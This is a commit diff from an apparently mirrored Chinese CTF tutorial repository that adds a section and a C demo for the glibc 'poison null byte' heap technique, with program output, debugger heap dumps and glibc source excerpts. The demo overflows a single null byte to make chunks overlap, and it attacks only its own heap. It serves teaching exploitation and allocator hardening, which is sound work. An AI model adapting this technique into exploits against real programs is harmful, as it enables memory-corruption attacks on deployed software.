mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
update 3.3.6
This commit is contained in:
parent
bf8f3d4038
commit
9c7a282f07
@ -675,7 +675,7 @@ gef➤ x/gx chunk0_ptr
|
|||||||
```
|
```
|
||||||
成功达成修改任意地址的成就。
|
成功达成修改任意地址的成就。
|
||||||
|
|
||||||
最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 size 和 next->prev->size 是否相同的检查,以对抗 1 字节溢出的问题。补丁如下:
|
最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 `chunk_size == next->prev->chunk_size` 的检查,以对抗单字节溢出的问题。补丁如下:
|
||||||
```diff
|
```diff
|
||||||
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
|
$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c
|
||||||
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
|
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
|
||||||
|
@ -14,6 +14,349 @@
|
|||||||
[下载文件](../src/Others/3.3.5_heap_exploit)
|
[下载文件](../src/Others/3.3.5_heap_exploit)
|
||||||
|
|
||||||
#### poison_null_byte
|
#### poison_null_byte
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
uint8_t *a, *b, *c, *b1, *b2, *d;
|
||||||
|
|
||||||
|
a = (uint8_t*) malloc(0x10);
|
||||||
|
int real_a_size = malloc_usable_size(a);
|
||||||
|
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
|
||||||
|
fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
|
||||||
|
|
||||||
|
b = (uint8_t*) malloc(0x100);
|
||||||
|
c = (uint8_t*) malloc(0x80);
|
||||||
|
fprintf(stderr, "b: %p\n", b);
|
||||||
|
fprintf(stderr, "c: %p\n", c);
|
||||||
|
|
||||||
|
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||||||
|
*(size_t*)(b+0xf0) = 0x100;
|
||||||
|
fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
|
||||||
|
|
||||||
|
// deal with tcache
|
||||||
|
// int *k[10], i;
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// k[i] = malloc(0x100);
|
||||||
|
// }
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// free(k[i]);
|
||||||
|
// }
|
||||||
|
free(b);
|
||||||
|
uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
|
||||||
|
fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
|
||||||
|
|
||||||
|
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
|
||||||
|
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||||||
|
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||||||
|
|
||||||
|
fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
|
||||||
|
b1 = malloc(0x80);
|
||||||
|
memset(b1, 'A', 0x80);
|
||||||
|
fprintf(stderr, "We malloc 'b1': %p\n", b1);
|
||||||
|
fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
|
||||||
|
fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
|
||||||
|
|
||||||
|
b2 = malloc(0x40);
|
||||||
|
memset(b2, 'A', 0x40);
|
||||||
|
fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
|
||||||
|
|
||||||
|
// deal with tcache
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// k[i] = malloc(0x80);
|
||||||
|
// }
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// free(k[i]);
|
||||||
|
// }
|
||||||
|
free(b1);
|
||||||
|
free(c);
|
||||||
|
fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
|
||||||
|
|
||||||
|
d = malloc(0x110);
|
||||||
|
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
|
||||||
|
|
||||||
|
fprintf(stderr, "b2 content:%s\n", b2);
|
||||||
|
memset(d, 'B', 0xb0);
|
||||||
|
fprintf(stderr, "New b2 content:%s\n", b2);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ gcc -g poison_null_byte.c
|
||||||
|
$ ./a.out
|
||||||
|
We allocate 0x10 bytes for 'a': 0xabb010
|
||||||
|
'real' size of 'a': 0x18
|
||||||
|
b: 0xabb030
|
||||||
|
c: 0xabb140
|
||||||
|
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)
|
||||||
|
|
||||||
|
After free(b), c.prev_size: 0x110
|
||||||
|
We overflow 'a' with a single null byte into the metadata of 'b'
|
||||||
|
b.size: 0x100
|
||||||
|
|
||||||
|
Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
|
||||||
|
We malloc 'b1': 0xabb030
|
||||||
|
c.prev_size: 0x110
|
||||||
|
fake c.prev_size: 0x70
|
||||||
|
|
||||||
|
We malloc 'b2', our 'victim' chunk: 0xabb0c0
|
||||||
|
Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
|
||||||
|
Finally, we allocate 'd', overlapping 'b2': 0xabb030
|
||||||
|
|
||||||
|
b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
```
|
||||||
|
该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。
|
||||||
|
|
||||||
|
首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。
|
||||||
|
|
||||||
|
首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 `malloc_usable_size` 如下:
|
||||||
|
```c
|
||||||
|
/*
|
||||||
|
------------------------- malloc_usable_size -------------------------
|
||||||
|
*/
|
||||||
|
static size_t
|
||||||
|
musable (void *mem)
|
||||||
|
{
|
||||||
|
mchunkptr p;
|
||||||
|
if (mem != 0)
|
||||||
|
{
|
||||||
|
p = mem2chunk (mem);
|
||||||
|
|
||||||
|
[...]
|
||||||
|
if (chunk_is_mmapped (p))
|
||||||
|
return chunksize (p) - 2 * SIZE_SZ;
|
||||||
|
else if (inuse (p))
|
||||||
|
return chunksize (p) - SIZE_SZ;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```c
|
||||||
|
/* check for mmap()'ed chunk */
|
||||||
|
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
|
||||||
|
/* extract p's inuse bit */
|
||||||
|
#define inuse(p) \
|
||||||
|
((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
|
||||||
|
/* Get size, ignoring use bits */
|
||||||
|
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
|
||||||
|
```
|
||||||
|
所以 `real_a_size = chunksize(a) - 0x8 == 0x18`。另外需要注意的是程序是通过 next chunk 的 `PREV_INUSE` 标志来判断某 chunk 是否被使用的。
|
||||||
|
|
||||||
|
为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 `0x100 == (0x111 & 0xff00)`,正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下:
|
||||||
|
```
|
||||||
|
gef➤ x/42gx a-0x10
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||||
|
0x603010: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed]
|
||||||
|
0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||||
|
0x603040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603080: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030c0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030e0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030f0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603100: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603110: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
|
||||||
|
0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
|
||||||
|
0x603140: 0x0000000000000000 0x0000000000000000
|
||||||
|
gef➤ heap bins unsorted
|
||||||
|
[ Unsorted Bin for arena 'main_arena' ]
|
||||||
|
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
|
||||||
|
→ Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)
|
||||||
|
```
|
||||||
|
|
||||||
|
最关键的一步,通过溢出漏洞覆写 chunk b 的数据:
|
||||||
|
```
|
||||||
|
gef➤ x/42gx a-0x10
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||||
|
0x603010: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed]
|
||||||
|
0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||||
|
0x603040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603080: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030c0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030e0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6030f0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603100: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603110: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
|
||||||
|
0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
|
||||||
|
0x603140: 0x0000000000000000 0x0000000000000000
|
||||||
|
gef➤ heap bins unsorted
|
||||||
|
[ Unsorted Bin for arena 'main_arena' ]
|
||||||
|
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
|
||||||
|
→ Chunk(addr=0x603030, size=0x100, flags=)
|
||||||
|
```
|
||||||
|
这时,根据我们上一篇文字中讲到的计算方法:
|
||||||
|
- `chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100`
|
||||||
|
- `prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100`
|
||||||
|
|
||||||
|
可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。
|
||||||
|
|
||||||
|
接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户:
|
||||||
|
```
|
||||||
|
gef➤ x/42gx a-0x10
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||||
|
0x603010: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b
|
||||||
|
0x603030: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603040: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603050: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603060: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603070: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603080: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603090: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030a0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk
|
||||||
|
0x6030c0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030d0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030e0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030f0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
|
||||||
|
0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||||
|
0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size
|
||||||
|
0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
|
||||||
|
0x603140: 0x0000000000000000 0x0000000000000000
|
||||||
|
gef➤ heap bins unsorted
|
||||||
|
[ Unsorted Bin for arena 'main_arena' ]
|
||||||
|
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
|
||||||
|
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||||
|
```
|
||||||
|
这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev\_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。
|
||||||
|
|
||||||
|
接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。
|
||||||
|
```
|
||||||
|
gef➤ x/42gx a-0x10
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||||
|
0x603010: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk
|
||||||
|
0x603030: 0x0000000000603100 0x00007ffff7dd1b78
|
||||||
|
0x603040: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603050: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603060: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603070: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603080: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603090: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030a0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk
|
||||||
|
0x6030c0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030d0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030e0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030f0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
|
||||||
|
0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||||
|
0x603120: 0x0000000000000020 0x0000000000000000
|
||||||
|
0x603130: 0x0000000000000110 0x0000000000000090
|
||||||
|
0x603140: 0x0000000000000000 0x0000000000000000
|
||||||
|
gef➤ heap bins unsorted
|
||||||
|
[ Unsorted Bin for arena 'main_arena' ]
|
||||||
|
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
|
||||||
|
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||||
|
```
|
||||||
|
chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:
|
||||||
|
```c
|
||||||
|
/* consolidate backward */
|
||||||
|
if (!prev_inuse(p)) {
|
||||||
|
prevsize = p->prev_size;
|
||||||
|
size += prevsize;
|
||||||
|
p = chunk_at_offset(p, -((long) prevsize));
|
||||||
|
unlink(av, p, bck, fwd);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nextchunk != av->top) {
|
||||||
|
/*
|
||||||
|
Place the chunk in unsorted chunk list. Chunks are
|
||||||
|
not placed into regular bins until after they have
|
||||||
|
been given one chance to be used in malloc.
|
||||||
|
*/
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
If the chunk borders the current high end of memory,
|
||||||
|
consolidate into top
|
||||||
|
*/
|
||||||
|
|
||||||
|
else {
|
||||||
|
size += nextsize;
|
||||||
|
set_head(p, size | PREV_INUSE);
|
||||||
|
av->top = p;
|
||||||
|
check_chunk(av, p);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。
|
||||||
|
```
|
||||||
|
gef➤ x/42gx a-0x10
|
||||||
|
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||||
|
0x603010: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d
|
||||||
|
0x603030: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x603040: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x603050: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x603060: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x603070: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x603080: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x603090: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x6030a0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk
|
||||||
|
0x6030c0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x6030d0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x6030e0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x6030f0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins
|
||||||
|
0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
|
||||||
|
0x603120: 0x0000000000000020 0x0000000000000000
|
||||||
|
0x603130: 0x0000000000000110 0x0000000000000090
|
||||||
|
0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk
|
||||||
|
gef➤ heap bins small
|
||||||
|
[ Small Bins for arena 'main_arena' ]
|
||||||
|
[+] small_bins[1]: fw=0x603100, bk=0x603100
|
||||||
|
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||||
|
```
|
||||||
|
还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。
|
||||||
|
|
||||||
|
最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。
|
||||||
|
|
||||||
|
heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。
|
||||||
|
```
|
||||||
|
$ gcc -fsanitize=address -g poison_null_byte.c
|
||||||
|
$ ./a.out
|
||||||
|
We allocate 0x10 bytes for 'a': 0x60200000eff0
|
||||||
|
'real' size of 'a': 0x10
|
||||||
|
b: 0x611000009f00
|
||||||
|
c: 0x60c00000bf80
|
||||||
|
=================================================================
|
||||||
|
==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
|
||||||
|
READ of size 8 at 0x611000009ef8 thread T0
|
||||||
|
#0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
|
||||||
|
#1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||||
|
#2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)
|
||||||
|
|
||||||
|
0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
|
||||||
|
allocated by thread T0 here:
|
||||||
|
#0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
|
||||||
|
#1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
|
||||||
|
#2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||||
|
```
|
||||||
|
|
||||||
#### house_of_lore
|
#### house_of_lore
|
||||||
|
|
||||||
|
68
src/Others/3.3.5_heap_exploit/poison_null_byte.c
Normal file
68
src/Others/3.3.5_heap_exploit/poison_null_byte.c
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
uint8_t *a, *b, *c, *b1, *b2, *d;
|
||||||
|
|
||||||
|
a = (uint8_t*) malloc(0x10);
|
||||||
|
int real_a_size = malloc_usable_size(a);
|
||||||
|
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
|
||||||
|
fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
|
||||||
|
|
||||||
|
b = (uint8_t*) malloc(0x100);
|
||||||
|
c = (uint8_t*) malloc(0x80);
|
||||||
|
fprintf(stderr, "b: %p\n", b);
|
||||||
|
fprintf(stderr, "c: %p\n", c);
|
||||||
|
|
||||||
|
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||||||
|
*(size_t*)(b+0xf0) = 0x100;
|
||||||
|
fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
|
||||||
|
|
||||||
|
// deal with tcache
|
||||||
|
// int *k[10], i;
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// k[i] = malloc(0x100);
|
||||||
|
// }
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// free(k[i]);
|
||||||
|
// }
|
||||||
|
free(b);
|
||||||
|
uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
|
||||||
|
fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
|
||||||
|
|
||||||
|
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
|
||||||
|
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||||||
|
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||||||
|
|
||||||
|
fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
|
||||||
|
b1 = malloc(0x80);
|
||||||
|
memset(b1, 'A', 0x80);
|
||||||
|
fprintf(stderr, "We malloc 'b1': %p\n", b1);
|
||||||
|
fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
|
||||||
|
fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
|
||||||
|
|
||||||
|
b2 = malloc(0x40);
|
||||||
|
memset(b2, 'A', 0x40);
|
||||||
|
fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
|
||||||
|
|
||||||
|
// deal with tcache
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// k[i] = malloc(0x80);
|
||||||
|
// }
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// free(k[i]);
|
||||||
|
// }
|
||||||
|
free(b1);
|
||||||
|
free(c);
|
||||||
|
fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
|
||||||
|
|
||||||
|
d = malloc(0x110);
|
||||||
|
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
|
||||||
|
|
||||||
|
fprintf(stderr, "b2 content:%s\n", b2);
|
||||||
|
memset(d, 'B', 0xb0);
|
||||||
|
fprintf(stderr, "New b2 content:%s\n", b2);
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user